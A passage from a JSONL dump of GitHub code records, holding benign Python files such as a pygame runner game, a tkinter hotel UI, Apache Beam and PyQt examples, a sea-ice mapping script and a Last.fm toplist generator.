torch.repeat_interleave(crop_region_mask, 6, dim=0)\n\n        ret = {}\n        ret['brain'] = brain\n        ret['mask'] = mask\n        ret['gt'] = gt\n        ret['crop_region_mask'] = crop_region_mask\n        return ret\n\n    # Return the number of batches for one epoch\n    def __len__(self):\n        return len(self.coord_queue)\n\n    def modify_commandline_options(parser, is_train):\n        \"\"\"\n        Add any new dataset-specific options, and rewrite default values for existing options.\n        \"\"\"\n        parser.add_argument('--test_fold', default='1', type=int, help='test fold number')\n        parser.add_argument('--shuffle_batches', default=True, type=bool, help='whether batch order should be shuffled or not ?')\n        parser.add_argument('--save_axial', default=1, type=float, help='proportion of saved axial slices')\n        parser.add_argument('--patch_axial', default=32, type=int, help='patch shape of axial dimension')\n\n        parser.add_argument('--img_path', type=str, default=None, help='path to input')\n        parser.add_argument('--mask_path', type=str, default=None, help='path to mask')\n        parser.add_argument('--gt_path', type=str, default=None, help='path to gt')\n        return parser\n","repo_name":"MAGNOLIAw/TW-BAG","sub_path":"data/hcp_dti_dataset.py","file_name":"hcp_dti_dataset.py","file_ext":"py","file_size_in_byte":11937,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"33109435003","text":"import pygame\r\nfrom sys import exit\r\nfrom random import randint ,choice\r\n\r\nclass Player(pygame.sprite.Sprite):\r\n    def __init__(self):\r\n        super().__init__()\r\n        player_walk1 = pygame.image.load('graphics/Player/player_walk_1.png').convert_alpha()\r\n        player_walk2 = pygame.image.load('graphics/Player/player_walk_2.png').convert_alpha()\r\n        self.player_jump = pygame.image.load('graphics/Player/jump.png').convert_alpha()\r\n        self.player_walk = [player_walk1, player_walk2]\r\n        self.player_walk_index = 0\r\n        self.image=self.player_walk[self.player_walk_index]\r\n        self.rect=self.image.get_rect(midbottom= (80,300))\r\n        self.gravity=0\r\n        self.jump=pygame.mixer.Sound('audio/audio_jump.mp3')\r\n        self.jump.set_volume(0.01)\r\n    def player_input(self):\r\n        keys=pygame.key.get_pressed()\r\n        if keys[pygame.K_SPACE] and self.rect.bottom>=300:\r\n            self.gravity=-20\r\n            self.jump.play()\r\n\r\n\r\n    def apply_gravity(self):\r\n        self.gravity+=1\r\n        self.rect.y +=self.gravity\r\n        if self.rect.bottom>=300:\r\n            self.rect.bottom=300\r\n\r\n    def animation(self):\r\n        if self.rect.bottom<300:\r\n            self.image=self.player_jump\r\n        else:\r\n            self.player_walk_index+=0.1\r\n            if self.player_walk_index>=len(self.player_walk):\r\n                self.player_walk_index=0\r\n            self.image=self.player_walk[int(self.player_walk_index)]\r\n    def update(self):\r\n        self.player_input()\r\n        self.apply_gravity()\r\n        self.animation()\r\n\r\nclass Obstacle(pygame.sprite.Sprite):\r\n    def __init__(self,type):\r\n        super().__init__()\r\n        if type =='fly':\r\n            fly_frame1 = pygame.image.load('graphics/fly/fly1.png').convert_alpha()\r\n            fly_frame2 = pygame.image.load('graphics/fly/fly2.png').convert_alpha()\r\n            self.frames = [fly_frame1, fly_frame2]\r\n            y_pos=210\r\n        else:\r\n            snail_frame1 = pygame.image.load('graphics/snail/snail1.png').convert_alpha()\r\n            snail_frame2 = pygame.image.load('graphics/snail/snail2.png').convert_alpha()\r\n            self.frames = [snail_frame1, snail_frame2]\r\n            y_pos=300\r\n\r\n        self.animation_index=0\r\n        self.image=self.frames[self.animation_index]\r\n        self.rect=self.image.get_rect(midbottom=(randint(900,1100),y_pos))\r\n\r\n    def animation(self):\r\n        self.animation_index+=0.1\r\n        if self.animation_index>=len(self.frames):\r\n            self.animation_index=0\r\n        self.image=self.frames[int(self.animation_index)]\r\n\r\n    def destroy(self):\r\n        if self.rect.x <=-100:\r\n            self.kill()\r\n\r\n\r\n    def update(self):\r\n        self.animation()\r\n        self.rect.x-=6\r\n        self.destroy()\r\n\r\ndef display_score():\r\n    current_time = int(pygame.time.get_ticks()/1000) - start_time\r\n    score_surf = test_font.render(f\"score: {current_time}\",False,(100,100,100)).convert_alpha()\r\n    score_rect = score_surf.get_rect(center=(400,50))\r\n    screen.blit(score_surf,score_rect)\r\n    return current_time\r\n\r\ndef collisions_sprite():\r\n    if pygame.sprite.spritecollide(player.sprite,obstacle_group,False):\r\n        obstacle_group.empty()\r\n        return False\r\n    else:\r\n        return True\r\n\r\npygame.init()\r\n#setup\r\nscreen = pygame.display.set_mode((800,400))\r\npygame.display.set_caption('snail runner')\r\nclock= pygame.time.Clock()\r\n#world objects\r\nsky_test= pygame.image.load('graphics/Sky.png').convert_alpha()\r\nground_test= pygame.image.load('graphics/ground.png').convert_alpha()\r\n#fonts\r\ntest_font = pygame.font.Font('font/Pixeltype.ttf',60)\r\n\r\ngame_active= False\r\nstart_time=0\r\nscore=0\r\n\r\n#group\r\nplayer=pygame.sprite.GroupSingle()\r\nplayer.add(Player())\r\nobstacle_group=pygame.sprite.Group()\r\n\r\n\r\n#intro when game over\r\nplayer_stand= pygame.image.load('graphics/player/player_stand.png').convert_alpha()\r\nplayer_stand_scaled=pygame.transform.rotozoom(player_stand,0,1.6)\r\nplayer_stand_rect=player_stand_scaled.get_rect(center = (400,200))\r\n\r\ngame_name=test_font.render('SNAIL RUNNER',False,(0,0,0)).convert_alpha()\r\ngame_name_rect=game_name.get_rect(center= (400,80))\r\n\r\ngame_message=test_font.render('-- PRESS SPACE TO START RUNNING --',False,(250,100,78)).convert_alpha()\r\ngame_message_rect=game_message.get_rect(center= (400,340))\r\n\r\n#timer\r\nobstacles_timer=pygame.USEREVENT +1\r\npygame.time.set_timer(obstacles_timer,1500) #1500 is in miliseconds\r\n\r\nwhile True:\r\n    for event in pygame.event.get():\r\n        if event.type == pygame.QUIT:\r\n            pygame.quit()\r\n            exit()\r\n        if not(game_active):\r\n            if event.type == pygame.KEYDOWN and event.key == pygame.K_SPACE:\r\n                game_active=True\r\n                start_time = int(pygame.time.get_ticks()/1000)\r\n\r\n        if game_active:\r\n            if event.type == obstacles_timer:\r\n                obstacle_group.add(Obstacle(choice(['fly','snail','snail','snail'])))\r\n\r\n    if game_active:\r\n        screen.blit(sky_test,(0,0))\r\n        screen.blit(ground_test,(0,300))\r\n        score = display_score()\r\n\r\n        #class\r\n        player.draw(screen)\r\n        player.update()\r\n        obstacle_group.draw(screen)\r\n        obstacle_group.update()\r\n\r\n        #collisions\r\n        game_active=collisions_sprite()\r\n\r\n    else:\r\n        screen.fill((64,80,112))\r\n        screen.blit(player_stand_scaled,player_stand_rect)\r\n        screen.blit(game_name,game_name_rect)\r\n        score_message = test_font.render(f\"YOUR SCORE: {score}\", False, (200, 200, 100)).convert_alpha()\r\n        score_message_rect = score_message.get_rect(center=(400, 340))\r\n        if score == 0:\r\n            screen.blit(game_message,game_message_rect)\r\n        else:\r\n            screen.blit(score_message,score_message_rect)\r\n\r\n    pygame.display.update()\r\n    clock.tick(60)\r\n\r\n","repo_name":"KwargsBOSS/SNAIL","sub_path":"game2.py","file_name":"game2.py","file_ext":"py","file_size_in_byte":5827,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"20379020853","text":"from math import floor\nfrom tkinter import *\n\nfrom PIL import Image, ImageTk\n\nwindow = Tk()\nprint(window.winfo_screenwidth(), window.winfo_screenheight())\n\n\ndef btn_clicked():\n    print(\"Button Clicked\")\n\n\ndef convertSize(originalSize):\n    frameWidth = window.winfo_screenwidth() * scaleRate\n    return floor((frameWidth * originalSize) / 1600)\n\n\n# originalWidth & originalHeight are the Width and Height on Figma\ndef convertImage(path, originalWidth, originalHeight):\n    originalImage = Image.open(path)\n    resizedImage = originalImage.resize((convertSize(originalWidth), convertSize(originalHeight)))\n    convertedImage = ImageTk.PhotoImage(resizedImage)\n    return convertedImage\n\n\n# ==================== Constants Declaration ====================#\nscaleRate = 0.8\nframeWidth = window.winfo_screenwidth() * scaleRate\nframeHeight = (window.winfo_screenwidth() * scaleRate) * 9 / 16\ngeometry = f'{floor(frameWidth)}' + \"x\" + f'{floor(frameHeight)}'\n\nwindow.geometry(geometry)\nwindow.configure(bg=\"#ffffff\")\n\ncanvas = Canvas(\n    window,\n    bg=\"#ffffff\",\n    height=frameHeight,\n    width=frameWidth,\n    bd=0,\n    highlightthickness=0,\n    relief=\"ridge\")\ncanvas.place(x=0, y=0)\n\n# ==================================================================#\n# Button \"Back\"\nImgBackBtn = convertImage(\"LK_BackBtn.png\", 227, 55)\nbackBtn = Button(\n    image=ImgBackBtn,\n    borderwidth=0,\n    highlightthickness=0,\n    command=btn_clicked,\n    relief=\"flat\"\n)\nbackBtn.place(\n    x=convertSize(41), y=convertSize(44),\n    width=convertSize(227),\n    height=convertSize(55)\n)\n\n# Button \"Cart\"\nImgCart = convertImage(\"LK_Cart.png\", 109, 109)\ncartBtn = Button(\n    image=ImgCart,\n    borderwidth=0,\n    highlightthickness=0,\n    command=btn_clicked,\n    relief=\"flat\"\n)\ncartBtn.place(\n    x=convertSize(1462), y=convertSize(30),\n    width=convertSize(109),\n    height=convertSize(109)\n)\n\n# Title Hotel name\nhotelName = Label(\n    # window,\n    text=\"#Hotel name\",\n    foreground=\"#47423D\",\n    background=\"#ffffff\",\n    justify=CENTER,\n    font=(\"Noto Sans SemiBold\", convertSize(50))\n).pack(pady=14)\n\n# ==================== CARD Constants ====================#\ncardWidth = convertSize(1354)\ncardHeight = convertSize(324)\n\ncanvasWidth = convertSize(1354)\ncanvasHeight = convertSize(324)\n\nfirstCardX = convertSize(123)\nfirstCardY = convertSize(155)\ncardDiscrepancy = convertSize(522 - 155)\n\nthumbnailX = convertSize(1354 / 2)\nthumbnailY = convertSize(324 / 2)\n\nnamePosX = convertSize(619 - 123)\nnamePosY = convertSize((186 - 155) - 26)\n\ndescPosX = convertSize(619 - 123)\ndescPosY = convertSize((253 - 155) - 4)\n\npricePosX = convertSize(1268 - 123 + 186)\npricePosY = convertSize((186 - 155) + 20)\n\ntagAvailableX = convertSize((401 - 123) + (161 / 2))\ntagAvailableY = convertSize((389 - 155) + (42 / 2))\ntagFullX = convertSize((471 - 123) + (91 / 2))\ntagFullY = convertSize((389 - 155) + (42 / 2))\n\nbedPosX = convertSize((670 - 123) - 4)\nbedPosY = convertSize((408 - 155) - 12)\nareaPosX = convertSize((807 - 123) - 4)\nareaPosY = convertSize((408 - 155) - 12)\nguestPosX = convertSize((938 - 123) - 4)\nguestPosY = convertSize((408 - 155) - 12)\n\ncardBtnX = convertSize((1216 - 123))\ncardBtnY = convertSize((380 - 155))\n\nImgThumbnail = convertImage(\"LK_room1_single.png\", 1354, 324)\nImgTagAvailable = convertImage(\"LK_Available.png\", 161, 42)\nImgTagFull = convertImage(\"LK_Full.png\", 91, 42)\nImgReserveBtn = convertImage(\"LK_ReserveBtn.png\", 234, 68)\nImgReserveDis = convertImage(\"LK_ReserveDisabled.png\", 234, 68)\n\n\ndef renderCard(Row, cardName, cardDescription, cardStatus, cardPrice,\n               cardThumbPath, cardBed, cardArea, cardGuest):\n    # CARD ITEM FRAME\n    cardFrame = Frame()\n    cardFrame.place(\n        x=firstCardX,\n        y=firstCardY + cardDiscrepancy * (Row - 1),\n        width=cardWidth,\n        height=cardHeight)\n\n    # Card Canvas (used for display Tag without background)\n    # khai báo ở đây để ko đè các widget khác\n    cardCanvas = Canvas(\n        cardFrame,\n        bg=\"#ffffff\",\n        height=canvasHeight,\n        width=canvasWidth,\n        bd=0,\n        highlightthickness=0,\n        relief=\"ridge\"\n    )\n    cardCanvas.place(x=0, y=0)\n\n    # Card Thumbnail\n    cardThumbnail = cardCanvas.create_image(\n        thumbnailX,\n        thumbnailY,\n        image=ImgThumbnail\n    )\n\n    # Card Status\n    if cardStatus == 1:\n        # Tag Available\n        tagAvailable = cardCanvas.create_image(\n            tagAvailableX,\n            tagAvailableY,\n            image=ImgTagAvailable\n        )\n    else:\n        # Tag Full\n        tagFull = cardCanvas.create_image(\n            tagFullX,\n            tagFullY,\n            image=ImgTagFull\n        )\n\n    # Card Name\n    card_Name = Label(\n        master=cardFrame,\n        text=cardName,\n        foreground=\"#47423D\",\n        background=\"#ffffff\",\n        font=(\"Noto Sans Bold\", convertSize(40))\n    ).place(\n        x=namePosX,\n        y=namePosY,\n    )\n\n    # Card Description\n    card_Desc = Label(\n        master=cardFrame,\n        text=cardDescription,\n        foreground=\"#7D8693\",\n        background=\"#ffffff\",\n        justify=LEFT,\n        wraplength=convertSize(600),\n        font=(\"Hind Guntur Medium\", convertSize(18))\n    ).place(\n        x=descPosX,\n        y=descPosY,\n    )\n\n    # Card Price\n    card_Price = Label(\n        master=cardFrame,\n        anchor=\"e\",\n        text=cardPrice,\n        foreground=\"#35bdda\",\n        background=\"white\",\n        justify=RIGHT,\n        font=(\"Noto Sans Bold\", convertSize(50)),\n        width=convertSize(8)\n    ).place(\n        anchor=\"e\",\n        x=pricePosX,\n        y=pricePosY,\n        height=convertSize(80)\n    )\n\n    # Card Bed\n    card_Bed = Label(\n        master=cardFrame,\n        text=cardBed,\n        foreground=\"#8f8f8f\",\n        background=\"#ffffff\",\n        justify=LEFT,\n        font=(\"Noto Sans Regular\", convertSize(18))\n    ).place(\n        x=bedPosX,\n        y=bedPosY,\n    )\n\n    # Card Area\n    card_Area = Label(\n        master=cardFrame,\n        text=cardArea,\n        foreground=\"#8f8f8f\",\n        background=\"#ffffff\",\n        justify=LEFT,\n        font=(\"Noto Sans Regular\", convertSize(18))\n    ).place(\n        x=areaPosX,\n        y=areaPosY,\n    )\n\n    # Card Guest\n    card_Guest = Label(\n        master=cardFrame,\n        text=cardGuest,\n        foreground=\"#8f8f8f\",\n        background=\"#ffffff\",\n        justify=LEFT,\n        font=(\"Noto Sans Regular\", convertSize(18))\n    ).place(\n        x=guestPosX,\n        y=guestPosY,\n    )\n\n    if cardStatus == 1:\n        # Button \"Reserve\"\n        reserveBtn = Button(\n            master=cardFrame,\n            image=ImgReserveBtn,\n            borderwidth=0,\n            highlightthickness=0,\n            command=btn_clicked,\n            relief=\"flat\"\n        )\n        reserveBtn.place(\n            x=cardBtnX,\n            y=cardBtnY,\n            width=convertSize(234),\n            height=convertSize(68)\n        )\n    else:\n        # Button \"Reserve DISABLED\"\n        reserveBtnDisabled = Button(\n            master=cardFrame,\n            image=ImgReserveDis,\n            borderwidth=0,\n            highlightthickness=0,\n            command=btn_clicked,\n            relief=\"flat\"\n        )\n        reserveBtnDisabled.place(\n            x=cardBtnX,\n            y=cardBtnY,\n            width=convertSize(234),\n            height=convertSize(68)\n        )\n\n\nrenderCard(1, \"Single Room\", \"For single person\", 1, \"$100\", \"#Thumbnail\", \"1 Bed\", \"68 m2\", \"2 Guest\")\nrenderCard(2, \"V.I.P Room\", \"Hehe\", 0, \"$1000\", \"#Thumbnail\", \"2 Bed\", \"86 m2\", \"4 Guest\")\n\nwindow.resizable(False, False)\nwindow.mainloop()\n","repo_name":"CokaVN11/cn-socket","sub_path":"testUI/Lookup/room.py","file_name":"room.py","file_ext":"py","file_size_in_byte":7613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"10622299393","text":"import apache_beam as beam\n\n\nwith beam.Pipeline() as p:\n    group_stocks_by_date_name = (\n        p\n        | 'create'>>beam.Create(\n            [\n                {\n                    'name':'hfdc',\n                    'date':'2020-03-21',\n                    'price':1450\n                },\n                {\n                    'name':'hfdc',\n                    'date':'2020-03-21',\n                    'price':1465\n                },\n                {\n                    'name':'hdfc',\n                    'date':'2020-04-21',\n                    'price':1550\n                },\n                {\n                    'name':'icici',\n                    'date':'2020-03-21',\n                    'price':550\n                }\n            ]\n        )\n        | 'selective details'>> beam.Map(lambda item : ((item['name'],item['date']),item['price']))\n        | 'max per key'>>beam.CombinePerKey(max)\n        | 'print'>>beam.Map(print)\n    )\n#Output\n#(('hfdc', '2020-03-21'), 1465)\n#(('hdfc', '2020-04-21'), 1550)\n#(('icici', '2020-03-21'), 550)","repo_name":"AbhishekBtra/apache-beam-samples","sub_path":"code/combineperkey.py","file_name":"combineperkey.py","file_ext":"py","file_size_in_byte":1047,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"12784125964","text":"from queue import Queue\n\nclass StackUsingQueue:\n    def __init__(self):\n        self.queue1 = Queue()\n        self.queue2 = Queue()\n\n    def push(self, item):\n        self.queue2.put(item)\n        while not self.queue1.empty():\n            self.queue2.put(self.queue1.get())\n        self.queue1, self.queue2 = self.queue2, self.queue1\n\n    def pop(self):\n        if not self.queue1.empty():\n            return self.queue1.get()\n        return None\n\n\n\nstack = StackUsingQueue()\nstack.push(2)\nstack.push(4)\nprint(stack.pop())  \nstack.push(6)\nprint(stack.pop())  \nprint(stack.pop())  ","repo_name":"Sakshi0704/GAI_Unit","sub_path":"PythonAssignments/Set3/Problem6.py","file_name":"Problem6.py","file_ext":"py","file_size_in_byte":581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"25431747209","text":"import numpy as np\nfrom PIL import Image\nimport os\n\nprefix = './testdata'\ndef get_train_data(filepath='./testdata'):\n  filelist = os.listdir(filepath)\n  images = list()\n  for filename in filelist:\n    path = os.path.join(prefix,filename)\n    image = Image.open(os.path.join(prefix,filename))\n    images.append(np.array(image).resize((150,360,3)))\n  images = np.array(images)\n  return images\n\nif __name__ == '__main__':\n  images = get_train_data()\n  print(images.shape)\n","repo_name":"smallt-TAO/Paper-Code-Grocery","sub_path":"attention_ocr_Google/gen_data.py","file_name":"gen_data.py","file_ext":"py","file_size_in_byte":469,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"19913083258","text":"# coding: utf-8\n# Model View 사용예제\n\nimport sys\nfrom PyQt5 import QtWidgets\nfrom PyQt5 import QtCore\n\n# 예제 모델\n# 가로 3, 세로 2의 데이터를 가졌다고 가정한 모델\nclass MyModel(QtCore.QAbstractTableModel):\n    def __init__(self, parent=None):\n        QtCore.QAbstractTableModel.__init__(self, parent)\n\n    # TableView가 데이터의 세로줄 수를 요구\n    def rowCount(self, QModelIndex_parent=None, *args, **kwargs):\n        return 2\n\n    # TableView가 데이터의 가로줄 수를 요구\n    def columnCount(self, QModelIndex_parent=None, *args, **kwargs):\n        return 3\n\n    # TableView에서 Data를 표출을 위해 데이터 요구\n    def data(self, QModelIndex, int_role=None):\n        if int_role == QtCore.Qt.DisplayRole:\n            return \"%d, %d\" % (QModelIndex.row(), QModelIndex.column())\n        return QtCore.QVariant()\n\n\nclass Form(QtWidgets.QDialog):\n    def __init__(self, parent=None):\n        QtWidgets.QDialog.__init__(self, parent)\n        self.setWindowTitle('QTableModel Example')\n\n        model = MyModel() # 모델 선언, 데이터는 아직 없음\n        tbl = QtWidgets.QTableView(self) # 테이블 뷰 선언\n        tbl.setModel(model) # 모델 적용\n\n        vbox = QtWidgets.QVBoxLayout()\n        vbox.addWidget(tbl)\n\n        self.setLayout(vbox)\n\n\n\nif __name__ == '__main__':\n    app = QtWidgets.QApplication(sys.argv)\n    w = Form()\n    w.show()\n    sys.exit(app.exec())","repo_name":"RavenKyu/PyQt_Example","sub_path":"PyQT_Widget_Examples/ItemView/QTableView_Model/example_1.py","file_name":"example_1.py","file_ext":"py","file_size_in_byte":1448,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"24721810564","text":"import machine\nimport uos\nimport json\n\npatch = \"/program/patch.json\"\ndefault = \"/program/default.json\"\nsettings = \"/data/settings.json\"\n\ndef set_default(bank_no, patch_no):\n    temp = {\n        \"patch\": patch_no,\n        \"bank\": bank_no\n            }\n    with open(default, \"w\") as file:\n        json.dump(temp, file)\n\n    print(\"default Patch/Bank Updated\")\n\ndef read_default():\n    with open(default, \"r\") as file:\n        data = json.load(file)\n        return data\n\ndef write_patch(bank_no, patch_no, patch_data):\n\n    bank_no, patch_no, data = str(bank_no), str(patch_no), None\n\n    with open(patch, \"r\") as file:\n        data = json.load(file)\n\n    data[bank_no][patch_no] = patch_data\n\n    with open(patch, \"w\") as file:\n        json.dump(data, file)\n\ndef read_bank(bank):\n    with open(patch, \"r\") as file:\n        data = json.load(file)\n        return data[str(bank)]\n\ndef load_settings():\n    with open(settings, \"r\") as file:\n        data = json.load(file)\n        return data\n\ndef save_settings(params):\n    with open(settings, \"w\") as file:\n        data = json.dump(params, file)\n","repo_name":"davidmacarabrown/analog_signal_switcher","sub_path":"disk.py","file_name":"disk.py","file_ext":"py","file_size_in_byte":1092,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"20268031280","text":"from datetime import datetime\nimport numpy as np\nimport pyresample as pr\nfrom sid_func import *\nimport matplotlib.pyplot as plt\nfrom matplotlib.patches import Polygon\nfrom matplotlib.collections import PatchCollection\n\ninpath = '/Data/sim/polona/sid/cs/'\ninpath_b = '/Data/sim/polona/sid/buoys/'\noutpath = '/Data/sim/polona/sid/deform/plots/'\nmetfile = '../data/10minute_nounits.csv'\nradius = 8000\n\n##simple preview\n#from osgeo import gdal\n#ds = gdal.Open(inpath+'CSM_20150118.tif').ReadAsArray()\n#im = plt.imshow(ds)\n#plt.show()\n\n#based on this example: https://stackoverflow.com/questions/20488765/plot-gdal-raster-using-matplotlib-basemap\nimport osr, gdal\n\n# This is the cropped tiff. The original is 2-3 times the size.\n# Read the data and metadata\nds = gdal.Open(inpath+'CSM_20150118.tif')\n\ndata = ds.ReadAsArray()\nprint(data.shape)\ngt = ds.GetGeoTransform()\nproj = ds.GetProjection()\n\nxres = gt[1]\nyres = gt[5]\nprint(xres,yres)\n\n# get the edge coordinates and add half the resolution \n# to go to center coordinates\nxmin = gt[0] + xres * 0.5\nxmax = gt[0] + (xres * ds.RasterXSize) - xres * 0.5\nymin = gt[3] + (yres * ds.RasterYSize) + yres * 0.5\nymax = gt[3] - yres * 0.5\n\nprint(xmin,ymin)\nprint(xmax,ymax)\nds = None\n\n##alternative tif\n#ds = gdal.Open(inpath+'cosmo7.tif')\n\n#data = ds.ReadAsArray()\n#print(data.shape)\n#gt = ds.GetGeoTransform()\n#proj = ds.GetProjection()\n\n#xres = gt[1]\n#yres = gt[5]\n#print(xres,yres)\n\n## get the edge coordinates and add half the resolution \n## to go to center coordinates\n#xmin = gt[0] + xres * 0.5\n#xmax = gt[0] + (xres * ds.RasterXSize) - xres * 0.5\n#ymin = gt[3] + (yres * ds.RasterYSize) + yres * 0.5\n#ymax = gt[3] - yres * 0.5\n\n#print(xmin,ymin)\n#print(xmax,ymax)\n#ds = None\n\n#exit()\n\n# create a grid of xy coordinates in the original projection\nxy_source = np.mgrid[xmin:xmax+xres:xres, ymax+yres:ymin:yres]\n\nprint(proj)\nprint(xy_source)\n\n\n# Create the figure and basemap object\nmaptime = datetime(2015,1,18,18,7,0)\n\n#Lance postion (from Lance's met system)\nmettime = getColumn(metfile,0)\ndtb = [ datetime.strptime(mettime[i], \"%Y-%m-%d %H:%M:%S\") for i in range(len(mettime)) ]\nmi = np.argmin(abs(np.asarray(dtb)-maptime))\nLance_lon = np.asarray(getColumn(metfile,2),dtype=float)[mi]\nLance_lat = np.asarray(getColumn(metfile,1),dtype=float)[mi]\n\nprint(Lance_lat,Lance_lon)\n\n#Lance centered projection\nfrom pyproj import Proj, transform\ninProj = Proj(init='epsg:4326')\noutProj = Proj('+proj=laea +lat_0=%f +lon_0=%f +a=6378137 +b=6356752.3142 +units=m' % (90, 10))\nxlp,ylp = transform(inProj,outProj,Lance_lon, Lance_lat)\n\nfrom pyresample.geometry import AreaDefinition\n#Using a projection dictionary\narea_id = 'around Lance'\ndescription = 'North Pole LAEA Europe'\nproj_id = 'lance'\nproj_dict = {'proj':'laea', 'lat_0':90, 'lon_0':10, 'a':6378137, 'b':6356752.3142, 'units':'m'}\nwidth = radius*2/100 #100 m spacing\nheight = radius*2/100 #100 m spacing\narea_extent = (xlp-radius,ylp-radius,xlp+radius,ylp+radius)\narea_def = AreaDefinition(area_id, description, proj_id, proj_dict, width, height, area_extent)\n#print(area_def)\n\n#Plotting\nfig1    = plt.figure(figsize=(20,20))\nax      = fig1.add_subplot(111)\n#cx.plot(.05, .95, 'w.', markersize=70, transform=cx.transAxes, markeredgecolor='k', markeredgewidth=2)\n#cx.text(.05, .95, title, ha='center', va='center', transform=cx.transAxes, fontdict={'color':'k','size':30})\n\n#area_def = pr.utils.load_area('area.cfg', proj)  \nm = pr.plot.area_def2basemap(area_def)\n\n#scale\nm.drawmapscale(Lance_lon-.1, Lance_lat-.05, Lance_lon+.3, Lance_lat-.1, 10, units='km', barstyle='fancy',fontsize=14)\nm.drawmeridians(np.arange(0.,360.,1.),latmax=90.,labels=[0,0,0,1,])\nm.drawparallels(np.arange(79.,90.,.2),labels=[1,0,0,0])\n\n#Lance\nxl, yl = m(Lance_lon, Lance_lat)\nax.plot(xl,yl,'*',markeredgewidth=2,color='hotpink',markersize=20,markeredgecolor='k',label='RV Lance')\n\n# Create the projection objects for the convertion\n# original (Albers)\ninproj = osr.SpatialReference()\ninproj.ImportFromWkt(proj)\n\n# Get the target projection from the basemap object\noutproj = osr.SpatialReference()\noutproj.ImportFromProj4(m.proj4string)\n\n# Convert from source projection to basemap projection\nxx, yy = convertXY(xy_source, inproj, outproj)\n\n# plot the sat image\nim1 = m.pcolormesh(xx, yy, data.T, cmap=plt.cm.Greys_r)\n\n#box for ship radar data\n#get 14km box around Lance\nxbox = [xl-7500, xl+7500, xl+7500, xl-7500]\nybox = [yl-7500, yl-7500, yl+7500, yl+7500]\nxybox = zip(xbox,ybox)\nxybox = list(xybox)     #work around of Python 3 code\npoly = Polygon( xybox, edgecolor='purple', alpha=1, fill=False, facecolor='purple', linewidth=10, label='Ship Radar')\nplt.gca().add_patch(poly)\n\n#legend\nax.legend(loc=0,fancybox=True,fontsize='xx-large')\n\nfig1.savefig(outpath+'sid_map_cs',bbox_inches='tight')\n  \n","repo_name":"loniitkina/sid","sub_path":"sid_map_cs.py","file_name":"sid_map_cs.py","file_ext":"py","file_size_in_byte":4771,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"}
+{"seq_id":"32163953721","text":"import logging\n\nfrom wok_hooks.misc import Configuration as _Configuration\n\nimport lastfm\nfrom datetime import datetime\nfrom StringIO import StringIO\n\n\nclass Document(object):\n\n    def __init__(self, slug, title, time, content):\n        self.slug = slug\n        self.title = title\n        self.time = time\n        self.content = content\n\n    def save(self, content_dir):\n        path = '%s%s.md' % (content_dir, self.slug)\n        logging.debug('save %s' % path)\n        with open(path, 'w+') as fd:\n            def writeline(text):\n                try:\n                    fd.write(text.encode('utf8') + '\\n')\n                except Exception as ex:\n                    logging.error(ex)\n            writeline('title: %s' % self.title)\n            writeline('slug: %s' % self.slug)\n            writeline('type: base')\n            writeline('datetime: %s' % self.time.isoformat(' '))\n            writeline('---')\n            writeline(self.content)\n\n\nclass Configuration(_Configuration):\n    DEFAULTS = {'account': {'user_id': None}, 'api_key': None}\n\n    def __init__(self, path, **kwargs):\n        _Configuration.__init__(self, path, **kwargs)\n\n        for key, value in self.DEFAULTS.items():\n            if key not in self:\n                self[key] = value\n                self.save()\n\n\ndef update_lastfm_toplist(options, content_dir='./content/'):\n    config = Configuration('lastfm.config')\n\n    api = lastfm.Api(config['api_key'])\n    user = api.get_user(config['account']['user_id'])\n\n    doc = Document('last-fm-toplist', 'LastFM Toplist', datetime.now(), '')\n    doc_buffer = StringIO()\n\n    print >> doc_buffer, \"\\n# Artists\"\n\n    print >> doc_buffer, \"\\n## Top 10 of the last month\\n\"\n    for artist in user.get_top_artists('1month')[:10]:\n        print >> doc_buffer, \"%s. [%s](%s) (%s playcounts)\" % (artist.stats.rank, artist.name, artist.url, artist.stats.playcount)\n\n    print >> doc_buffer, \"\\n## Top 10 of the last quarter\\n\"\n    for artist in user.get_top_artists('3month')[:10]:\n        print >> doc_buffer, \"%s. [%s](%s) (%s playcounts)\" % (artist.stats.rank, artist.name, artist.url, artist.stats.playcount)\n\n    print >> doc_buffer, \"\\n## Top 10 of the last year\\n\"\n    for artist in user.get_top_artists('12month')[:10]:\n        print >> doc_buffer, \"%s. [%s](%s) (%s playcounts)\" % (artist.stats.rank, artist.name, artist.url, artist.stats.playcount)\n\n    print >> doc_buffer, \"\\n# Albums\"\n\n    print >> doc_buffer, \"\\n## Top 10 of the last month\\n\"\n    for album in user.get_top_albums('1month')[:10]:\n        print >> doc_buffer, \"%s. [%s](%s) - [%s](%s) (%s playcounts)\" % (album.stats.rank, album.name, album.url, album.artist.name, album.artist.url, album.stats.playcount)\n\n    print >> doc_buffer, \"\\n## Top 10 of the last quarter\\n\"\n    for album in user.get_top_albums('3month')[:10]:\n        print >> doc_buffer, \"%s. [%s](%s) - [%s](%s) (%s playcounts)\" % (album.stats.rank, album.name, album.url, album.artist.name, album.artist.url, album.stats.playcount)\n\n    print >> doc_buffer, \"\\n## Top 10 of the last year\\n\"\n    for album in user.get_top_albums('12month')[:10]:\n        print >> doc_buffer, \"%s. [%s](%s) - [%s](%s) (%s playcounts)\" % (album.stats.rank, album.name, album.url, album.artist.name, album.artist.url, album.stats.playcount)\n\n    doc_buffer.seek(0)\n    doc.content = doc_buffer.read()\n    doc.save(content_dir)\n\nif __name__ == '__main__':\n    import os\n    logging.basicConfig(format='%(asctime)s %(levelname)s %(name)s:%(message)s', level=logging.DEBUG)\n    os.chdir('..')\n    update_lastfm_toplist({}, 